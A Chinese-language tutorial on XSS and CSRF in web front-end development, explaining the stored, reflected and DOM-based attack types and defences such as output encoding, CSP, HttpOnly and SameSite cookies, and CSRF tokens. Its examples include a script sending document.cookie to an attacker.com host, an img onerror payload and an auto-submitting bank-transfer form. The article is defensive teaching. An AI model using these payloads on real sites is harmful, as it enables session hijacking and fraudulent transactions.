在Web前端开发中,JavaScript作为核心编程语言,为页面带来丰富交互性的同时,也因使用不当引入各类安全漏洞。其中,跨站脚本攻击(XSS)和跨站请求伪造(CSRF)是最常见、危害最广的两类漏洞,曾多次出现在OWASP Top 10安全风险榜单中。本文将从原理本质、攻击场景、实战案例到防御方案,系统拆解这两类漏洞,帮助开发者建立完整的安全防护体系。
一、跨站脚本攻击(XSS):注入脚本的"隐形杀手"
1.1 核心原理
XSS漏洞的本质是开发者未对用户输入进行严格过滤与编码,导致恶意JavaScript代码被注入到页面中,并被浏览器执行。其核心危害在于攻击者可通过注入脚本窃取用户Cookie、篡改页面内容、劫持用户会话,甚至控制用户终端设备。根据攻击方式与代码执行场景,XSS可分为三大类型。
1.2 三大类型及攻击场景
1.2.1 存储型XSS(Persistent XSS)
存储型XSS是危害最严重的一类,恶意代码会被永久存储在服务器数据库中(如评论、用户名、文章内容等),当其他用户访问包含恶意代码的页面时,代码会被加载并执行。
实战案例 :某论坛允许用户发布评论,攻击者在评论框中输入内容:<script>document.location.href='http://attacker.com/steal?cookie='+document.cookie</script>。由于论坛未过滤该输入,代码被存入数据库。当其他用户查看该评论时,脚本会自动执行,将用户的Cookie信息发送至攻击者服务器,攻击者可利用Cookie劫持用户会话,冒充用户发布内容或操作账户。
1.2.2 反射型XSS(Reflected XSS)
反射型XSS的恶意代码不会被存储,而是通过URL参数、表单提交等方式传入服务器,服务器直接将恶意代码"反射"回页面并执行。此类攻击需诱导用户点击恶意URL,属于"一次性攻击"。
实战案例 :某网站的搜索功能存在漏洞,搜索结果页面会直接显示用户输入的关键词。攻击者构造恶意URL:http://target.com/search?keyword=<script>alert('XSS')</script>,并诱导用户点击。用户点击后,服务器将URL中的关键词直接渲染到页面,脚本执行弹出弹窗,若替换为窃取Cookie的代码,即可完成攻击。
1.2.3 DOM型XSS(DOM-Based XSS)
DOM型XSS与前两类不同,恶意代码的注入与执行完全在客户端完成,无需经过服务器。攻击者利用页面DOM操作逻辑漏洞,通过URL参数等方式注入代码,篡改DOM结构触发脚本执行。
实战案例 :页面存在如下JS代码,用于获取URL中的"name"参数并显示在页面:var name = location.hash.slice(1); document.getElementById('user').innerHTML = name;。攻击者构造URL:http://target.com/#<img src=x onerror=alert(document.cookie)>。用户访问该URL后,客户端JS直接将hash值解析并插入页面,img标签的onerror事件触发,执行恶意代码窃取Cookie。
1.3 系统化防御方案
XSS防御的核心原则是"输入过滤、输出编码、严格控制执行环境",需从前端、后端协同防护。
-
输入验证与过滤:后端对所有用户输入进行严格校验,基于白名单过滤非法字符(如<、>、script、onerror等),可使用HTML Purifier等成熟库处理富文本输入,杜绝恶意代码注入。
-
输出编码 :将用户输入的内容渲染到页面时,进行对应场景的编码(HTML编码、JS编码、URL编码)。例如,通过
document.createTextNode()替代innerHTML,将特殊字符转换为实体(如<转为<),使浏览器仅解析为文本而非脚本。 -
启用内容安全策略(CSP) :通过HTTP响应头
Content-Security-Policy限制页面可加载的资源与执行的脚本来源,例如指定仅允许加载本域脚本(script-src 'self'),禁止内联脚本与eval函数,从根源上阻止恶意脚本执行。 -
设置HttpOnly与Secure Cookie :为Cookie添加HttpOnly属性,禁止JS通过
document.cookie访问Cookie,阻断XSS窃取Cookie的路径;添加Secure属性,确保Cookie仅通过HTTPS传输,防止中间人劫持。
二、跨站请求伪造(CSRF):冒充身份的"欺诈攻击"
2.1 核心原理
CSRF漏洞的本质是攻击者利用用户已认证的身份(如登录状态下的Cookie),诱导用户在不知情的情况下,向目标服务器发送伪造的请求,完成非法操作(如转账、修改密码、发布内容等)。其核心前提是:浏览器在发送请求时,会自动携带目标域名的Cookie,无论请求来源是否合法。
2.2 攻击流程与实战案例
CSRF攻击通常分为三步:1. 用户登录目标网站A,获得合法会话Cookie;2. 攻击者诱导用户访问恶意网站B;3. 恶意网站B向网站A发送伪造请求,浏览器自动携带用户的Cookie,服务器验证会话有效后执行请求。
实战案例 :某银行网站存在CSRF漏洞,转账接口为http://bank.com/transfer?to=xxx&amount=xxx,且仅通过Cookie验证用户身份。攻击者构造恶意网站B,页面中隐藏一个表单:
<form action="http://bank.com/transfer" method="POST" id="csrfForm"> <input type="hidden" name="to" value="attackerAccount"> <input type="hidden" name="amount" value="10000"> </form> <script>document.getElementById('csrfForm').submit();</script>
用户登录银行网站后,若被诱导访问网站B,页面会自动提交转账请求,浏览器携带用户的银行Cookie,服务器验证通过后,完成转账操作,用户直至查看账单才发现损失。
2.3 关键防御策略
CSRF防御的核心是"验证请求来源的合法性",确保请求是用户主动发起的,而非伪造的。
-
添加CSRF Token验证:服务器为每个登录用户生成唯一的、随机的CSRF Token,存储在Session或Cookie中,并嵌入到页面表单或请求头中。客户端发送请求时,需携带该Token,服务器验证Token有效性后才执行请求。由于恶意网站无法获取用户的CSRF Token,无法构造合法请求。
-
验证Referer/Origin请求头 :服务器通过检查请求的Referer(请求来源页面URL)或Origin(请求来源域名),判断请求是否来自本域。例如,仅允许Referer为
http://target.com的请求,拒绝来自其他域名的请求。但需注意,Referer可被篡改,仅作为辅助防御手段。 -
使用SameSite Cookie属性:为Cookie设置SameSite属性(取值为Strict、Lax、None),限制Cookie仅在同站点请求中携带。Strict模式下,跨站点请求完全不携带Cookie;Lax模式下,仅允许GET请求在导航时携带Cookie,可有效阻断大部分CSRF攻击。
-
针对敏感操作增加二次验证:对于转账、修改密码等敏感操作,除会话验证外,增加短信验证码、密码再次确认等二次验证机制,即使CSRF请求被提交,也无法通过二次验证。
三、XSS与CSRF的核心差异与协同防御
3.1 核心差异
| 维度 | XSS | CSRF |
|---|---|---|
| 核心目的 | 注入脚本,窃取信息、控制页面 | 冒充身份,伪造合法请求 |
| 攻击载体 | 恶意脚本(JS、HTML标签) | 伪造的HTTP请求 |
| 依赖条件 | 页面未过滤用户输入 | 用户处于登录状态,浏览器自动带Cookie |
| 防御核心 | 过滤输入、编码输出、限制脚本执行 | 验证请求合法性(Token、来源) |
3.2 协同防御建议
XSS与CSRF并非孤立存在,攻击者可能结合两类漏洞发起复合攻击(如通过XSS注入脚本获取CSRF Token,再发起CSRF攻击)。因此,需建立分层防御体系:
-
前端层面:规范DOM操作,避免使用innerHTML等危险API,对用户输入进行初步过滤,敏感操作增加二次确认。
-
后端层面:严格执行输入验证与输出编码,为所有非GET请求添加CSRF Token,验证Referer/Origin头,设置Cookie安全属性。
-
运维层面:启用HTTPS加密传输,部署CSP策略,定期进行安全扫描与渗透测试,及时修复漏洞。
-
开发规范:将安全编码纳入开发流程,避免"信任用户输入",使用成熟的安全库(如DOMPurify、csrf-token库),减少重复造轮子带来的风险。
四、总结:安全是开发的底线
XSS与CSRF漏洞的产生,本质上是开发者对"用户输入不可信""请求来源需验证"这两大原则的忽视。随着Web技术的迭代,攻击者的攻击手段也在不断升级,但核心防御逻辑始终围绕"过滤、验证、编码、隔离"展开。
对于前端开发者而言,不仅要掌握业务功能的实现,更要建立安全意识,在编码初期就融入防御思路,而非等到漏洞爆发后再补救。通过系统化的防护方案,结合定期的安全测试与技术迭代,才能真正抵御各类攻击,守护用户数据与系统安全。
最后,记住:Web安全没有"一劳永逸"的方案,只有"持续防护"的态度。